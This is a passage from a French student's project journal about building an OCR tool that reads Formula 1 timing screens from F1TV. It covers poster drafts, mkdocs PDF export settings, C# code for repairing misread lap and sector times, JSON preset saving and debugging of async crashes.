noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir. Mardi 9 Mai 2023 Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\" Je pense que cette version est meilleure m\u00eame si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure id\u00e9e de l'utilis\u00e9 de chaque partie. Mercredi 10 Mai 2023 Bon hier je n'ai pas eu le temps de finir la documentation de la recup\u00e8ration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense. Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plut\u00f4t pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer \u00e0 l'impl\u00e9mentation de l'OCR. Je suis presque certain que l'OCR va avoir besoin de plus de r\u00e8glages mais bon on verra bien. Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un l\u00e8ger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment \u00e0 moins que ca me pose soucis plus tard. J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement \u00e0 1920x1080 En fait il y a parfois un soucis un peu p\u00e9nible avec l'OCR. Parfois pour un temps comme ci dessous: \"1:45.140\" Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140 La il y a deux probl\u00e8mes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transform\u00e9 en 1... J'ai cr\u00e9\u00e9 ce \"petit\" bout de code pour g\u00e8rer les fois ou les '.' et les ':' ont mal \u00e9t\u00e9 interpr\u00eat\u00e9s if ( rawNumbers . Count == 1 ) { //If this code is used it means that its bad ... //The methods that comes are really not that great and are juste quick fixes try { result = Convert . ToInt32 ( rawNumbers [ 0 ]); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood like a number result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' and ':' have been overlooked //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ] + rawNumbers [ 0 ][ 2 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 7 ) { //There is two possibilities //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ] + rawNumbers [ 0 ][ 6 ]); } break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; } if ( rawNumbers [ 0 ]. Length > 6 ) { //The number definitely has been interpreted wrong } } catch { //It can be because the input is empty or because its the LEADER bracket result = 0 ; } } else { //Auuuugh result = 0 ; } ConfigFile = \"./Presets/Clean_2023.json\" ; string gpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; Bon je n'arrive pas \u00e0 faire fonctionner l'OCR sans tout faire crash \u00e0 chaque fois. Je vais abandonner le travail de la journ\u00e9e pour revenir au point initial... C'est tr\u00e8s frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal. Va savoir pourquoi m\u00eame comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'\u00eatre utilis\u00e9. Ca marchait nikel dans mes premi\u00e8res version je ne vois pas pourquoi ca p\u00eate maintenant. Je pense que je vois \u00e0 peu pr\u00e8s le soucis. public virtual async Task < DriverData > Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); Parallel . ForEach ( Windows , async w => { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string ) await ( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool ) await ( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int ) await ( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int ) await ( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int ) await ( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre ) await ( w as DriverTyresWindow ). DecodePng (); }); return result ; } Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est d\u00e9ja utilis\u00e9. Ma conjecture c'est que en essayant de faire toutes les windows en m\u00eame temps. Elles veulent parfois acc\u00e8der \u00e0 l'image principale en m\u00eame temps. Ce qui evidemment pose probl\u00e8me. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte \u00e0 exporter ce fonctionnement sur chaque zone en elle m\u00eame pour ne pas perdre trop de performances. Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la premi\u00e8re image qui \u00e9tait juste tout le temps prise et dans la premi\u00e8re image on a une partie des chiffres qui est bloqu\u00e9e par l'UI de la fen\u00eatre... lol... EN FAIT J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur Bon j'en ai tellement marre... Je n'arrive tout simplement PAS \u00e0 faire fonctionner l'OCR ca crash tout le temps j'en peux plus. J'ai tent\u00e9 de r\u00e8gler les probl\u00e8mes de mauvaises detections de secteurs et temps au tour qui font crasher l'app : if ( rawNumbers . Count == 2 ) { //ss:ms result = ( Convert . ToInt32 ( rawNumbers [ 0 ]) * 1000 ) + Convert . ToInt32 ( rawNumbers [ 1 ]); if ( result > ( 60000 + 999 )) { if ( windowType == OcrImage . WindowType . LapTime ) { result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 1 ]); } if ( windowType == OcrImage . WindowType . Sector ) { int seconds = 0 ; if ( rawNumbers [ 0 ]. Length == 3 ) { //We have one char that we need to delete //For no apparent reason im going to delete the first seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); } else { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); } int ms = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); result = seconds * 1000 + ms ; } } } Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journ\u00e9e de perdue compl\u00eatement... C'est extr\u00eamement frustrant. Apr\u00e8s des heures de debug j'ai enfin r\u00e9ussi \u00e0 faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle \u00e0 chier du coup... Jeudi 11 Mai 2023 Bon apr\u00e8s une bonne nuit de sommeil je vais reprendre les choses depuis le d\u00e9but. J'ai deux soucis : L'OCR pue du derche L'Image que l'on d\u00e9code ne change pas Pour la premi\u00e8re partie j'ai ma petite th\u00e9orie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a d\u00e9ja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette r\u00e9solution. Je me suis demand\u00e9 si ca n'\u00e9tait pas mieux de prendre en compte les deux r\u00e9solutions pour les pc un peu moins bal\u00e8zes et j'ai d\u00e9cid\u00e9 de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du dipl\u00f4me je pense. Pour la seconde partie, je pense qu'il faut que j'aille voir du c\u00f4te de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forc\u00e9ment oublier un truc. Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le m\u00eame et il fonctionne alors que de mon c\u00f4t\u00e9 ca n'est pas le cas. Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le d\u00e9calage est trop grand entre les windows. Des que le soucis d'image est r\u00e8gl\u00e9 il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les \u00e9carts. Sinon regardez ce que ca donne quand on arrive au dernier pilote : \"Zone de pilote d\u00e9cal\u00e9e\" Je commence \u00e0 devenir FOU. Je n'arrive pas \u00e0 changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du d\u00e9part. Bon j'ai enfin trouv\u00e9 pourquoi et je n'ai pas envie de dire comment j'ai trouv\u00e9... Je pense que l'on a tous droit \u00e0 son petit jardin secret. Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la cr\u00e9ation et de la lecture des JSON. Voici un exemple de preset JSON : { \"Main\" : { \"x\" : 40 , \"y\" : 355 , \"width\" : 3784 , \"height\" : 1438 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -10 , \"width\" : 3784 , \"height\" : 71 , \"Windows\" : [ { \"Position\" : { \"x\" : 47 , \"y\" : 11 , \"width\" : 72 }, \"GapToLeader\" : { \"x\" : 445 , \"y\" : 13 , \"width\" : 201 }, \"LapTime\" : { \"x\" : 859 , \"y\" : 14 , \"width\" : 221 }, \"DRS\" : { \"x\" : 1094 , \"y\" : 13 , \"width\" : 173 }, \"Tyres\" : { \"x\" : 1270 , \"y\" : 11 , \"width\" : 1452 }, \"Name\" : { \"x\" : 2727 , \"y\" : 11 , \"width\" : 351 }, \"Sector1\" : { \"x\" : 3083 , \"y\" : 10 , \"width\" : 253 }, \"Sector2\" : { \"x\" : 3339 , \"y\" : 14 , \"width\" : 195 }, \"Sector3\" : { \"x\" : 3518 , \"y\" : 14 , \"width\" : 250 } } ] } } ] }, \"Drivers\" : [ \"Perez\" , \"Leclerc\" , \"Sainz\" , \"Alonso\" , \"Stroll\" , \"Russel\" , \"Verstappen\" , \"Zhou\" , \"Ocon\" , \"Hulkenberg\" , \"Hamilton\" , \"Norris\" , \"Tsunoda\" , \"Magnussen\" , \"Piastri\" , \"Albon\" , \"Gasly\" , \"Sargeant\" , \"Bottas\" , \"De Vries\" ] } Je pense que ce qui serait bien ce serait de rajouter un \"offsets\" qui contienne les 19 \u00e9carts restants. Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai compl\u00eatement refaite. J'ai aussi abandonn\u00e9 l'id\u00e9e de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits. Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plut\u00f4t clean : public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creating the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } Et normalement la lecture devrait \u00eatre encore plus simple. En fait c'\u00e9tait pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git) Bon bah on est au m\u00eame endroit qu'hier... Bon pour demain le plan de bataille ca va \u00eatre : Changer compl\u00eatement la methode \"GetTimeFromPng\" pour qu'elle prenne en compte toutes les possibilit\u00e9s de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi \u00eatre un temps au tour qui a rat\u00e9 un point. Il faut que je bosse juste un peu vite fait la dessus et que j'arr\u00eate de putain de crasher d\u00e8s que un truc est pas au bon format. Ensuite quand ca aura arr\u00eat\u00e9 de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca. Et le but c'est que demain soir j'ai une reconnaissance de caract\u00e8res plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit. vendredi 12 Mai 2023 Bon aujourd'hui il faut que ca marche. On va y aller par \u00e9tape. Je vais revoir toutes les methodes d'OCR et essayer de r\u00e9apliquer les filtres differemment et revenir au point de d\u00e9part. Avant de commencer je note plusieurs soucis avec les premiers tests : Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-\u00eatre simplement checker que les filtres sont bons) L'\u00e9cart avec le leader est \u00e9tonnamment pas mal aussi Le temps au tour est tout simplement horrible. Aucun n'est juste et de tr\u00e8s loin m\u00eame si les d\u00e9cimales ne sont pas forc\u00e9ment loin Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait \u00eatre bon (\u00e0 verifier quand le reste sera bon) Les pneus ne sont \u00e9tonnamment pas SI horribles, m\u00eame si parfois les lettres sont prises comme des chiffres Les noms de pilotes sont tr\u00e8s bon (pas \u00e9tonnant vu le syst\u00e8me de distance de Levenstein donc ca m\u00e9rite quand m\u00eame un petit check) Les secteurs sont en g\u00e9n\u00e9ral horribles mais pas toujours. C'est peut-\u00eatre un soucis de d\u00e9cimale ou des 4 qui se transforment en 1 J'ai remarqu\u00e9 que les 4 sont souvent pris comme des 1. Peut-\u00eatre que en ayant des images 4K l'interpolation est un peu diff\u00e9rente de ce que j'ai l'habitude de voir. Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...) J'ai d\u00e9sactiv\u00e9 toutes les methodes de cette facon : int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); result . Name = \"Unknown\" ; if ( w is DriverDrsWindow ) //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); result . DRS = false ; if ( w is DriverGapToLeaderWindow ) //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); result . GapToLeader = 0 ; if ( w is DriverLapTimeWindow ) //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); result . LapTime = 0 ; if ( w is DriverPositionWindow ) //result.Position = (int)await (w as DriverPositionWindow).DecodePng(); result . Position = 0 ; if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector1 = 0 ; if ( sectorCount == 2 ) //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector2 = 0 ; if ( sectorCount == 3 ) //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector3 = 0 ; } if ( w is DriverTyresWindow ) //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); result . CurrentTyre = new Tyre ( Tyre . Type . Undefined , 0 ); } return result ; Le but c'est que ensuite je puisse y aller \u00e9tape par \u00e9tape. Position : Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position apr\u00e8s un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement. On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite. On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont gris\u00e9es et sa position est prise comme un -1 Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils \u00e9taient bien souvent juste, le seul truc c'est que ils s'affichent de mani\u00e8re un peu sp\u00e9ciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre \u00e0 regarder mais c'est parfaitement juste. J'ai aussi pu simplifier la reconnaissance gr\u00e2ce \u00e0 l'image de meilleure qualit\u00e9 et maintenant les temps de secteur sont plut\u00f4t corrects. En fait le plus long et complexe c'est de pr\u00e9voir les cas particuliers ou un '.' a \u00e9t\u00e9 mal interpr\u00eat\u00e9... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexit\u00e9 avec un '.' ET un ':' qui peuvent \u00eatre oubli\u00e9s... Oh et j'y pense, un truc malin pourrait \u00eatre de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense. Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas \u00e9t\u00e9 trouv\u00e9s ou des ':' ont \u00e9t\u00e9 n'ont pas \u00e9t\u00e9 trouv\u00e9 ou si l'un des deux s'est transform\u00e9 en chiffre etc.. etc.. etc.. Le soucis c'est que la maintenant je me rend compte que les \u00e9carts entre les pilotes vont juste \u00eatre un enfer \u00e0 nettoyer... Ils peuvent aussi bien \u00eatre \"0.760\" comme \"1:34.456\" du coup... je sais pas vraiment comment faire pour tout nettoyer. Je pense que je vais juste en avoir rien \u00e0 faire et tant pis si de temps en temps c'est pas g\u00e9nial. Bon du coup j'ai pas pris en compte TOUS les cas possibles mais d\u00e9ja un certain nombre et c'est d\u00e9ja pas mal. Sur les diff\u00e9rents Grand Prix d'exemples ca a l'air de plut\u00f4t bien tourner ! Mais ca demande tellement de tests et de code que c'est un peu ridicule... La methode \"GetTimeFromPng\" fait d\u00e9ja presque 430 lignes \u00e0 cause de tous les cas possibles et tous les try catch. Ca peut para\u00eetre peu \u00e9l\u00e9gant mais j'ai essay\u00e9 de mettre des commentaires un peu partout pour permettre \u00e0 nimporte qui de comprendre ce qui se passe. J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque) En fait j'ai des soucis parfois quand les pneus sont un peu cach\u00e9s dans les permiers tours : Pneus cach\u00e9s Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours apr\u00e8s le changement de pneu ou de simplement tenter de faire les calculs de pneus. Pour conclure la journ\u00e9e je pense que je devrais avoir le temps de faire un syst\u00e8me qui permet de refresh \u00e0 volont\u00e9. Par contre je viens de d\u00e9couvrir que quand un temps de secteur est en couleur on arrive pas \u00e0 le lire. Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en m\u00eame temps mais en faisant ca de temps en temps ca crash et \u00e0 chaques fois c'est d'un endroit diff\u00e9rent du coup je comprend pas vraiment. Sinon ca prend dix secondes. Lundi 15 Mai 2023 Aujourd'hui c'est journ\u00e9e poster et visites. Comme on va avoir des visites de premi\u00e8res ann\u00e9es voire de terminales et que le soir c'est visite des parents. Je pense que j'ai finit de tout regrouper (\u00e0 part \u00e9videmment le traitement et le stockage des donn\u00e9es) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois tr\u00e8s efficace dans la partie stockage de donn\u00e9es et mise en place du mod\u00e8le si je veux avoir une chance de rendre un joli travail de dipl\u00f4me. (et m\u00eame comme ca je peux voir que le temps commence \u00e0 manquer) Dans l'id\u00e9al je devrais avoir termin\u00e9 la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas \u00eatre simple. Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie r\u00e9cup\u00e8ration d'images et de la calibration. Bon au final la journ\u00e9e a \u00e9t\u00e9 un peu difficile. On a pas vraiment pu travailler l'apr\u00e8s midi car il a fallu pr\u00e9senter le projet environs 10 fois \u00e0 toutes les classes et \u00e0 des parents voire futurs experts. Les d\u00e9mos ont plut\u00f4t bien fonctionn\u00e9es j'en suis assez content. Mais ca veut dire que la partie doc a pas forc\u00e9ment pu \u00eatre totalement compl\u00eat\u00e9e mais demain il va falloir que je m'occupe de la suite du projet. Mardi 16 Mai 2023 Bon aujourd'hui c'est la partie stockage qui doit \u00eatre faite. Il y a plusieurs solutions possibles \u00e0 ce probl\u00e8me. Mais comme je n'ai besoin que d'une base de donn\u00e9e locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de donn\u00e9es SQLITE. Il y a eu une petit intervention de mr Bonvin qui est venu me donner une id\u00e9e pour la partie OCR. En fait j'avais un soucis quand je voulais d\u00e9coder du texte de couleur. M\u00eame en appliquant un filtre de gris je n'arrivais pas \u00e0 faire reconnaitre les chiffres. Et il m'a dit que une bonne id\u00e9e cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer \u00e0 tous ce qui blanchit assez bien l'image. J'ai d\u00e9cid\u00e9 d'exag\u00e8rer le blanchiment et cela donne des r\u00e9sultats plut\u00f4t... int\u00e9ressants... \"Filtre vanish oxy action sur un secteur violet\" Le soucis c'est que le violet est une couleur quand m\u00eame assez sombre alors il va falloir que je fasse un syst\u00e8me de treshold un peu sp\u00e9cial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses. Une methode \u00e0 laquelle j'ai pens\u00e9 pour detecter dans quel tour chaque pilote est serait de garder en m\u00e9moire toutes les infos de chaques pilotes au fur et \u00e0 mesure, et d\u00e8s qu'on ne recoit plus d'infos des secteurs 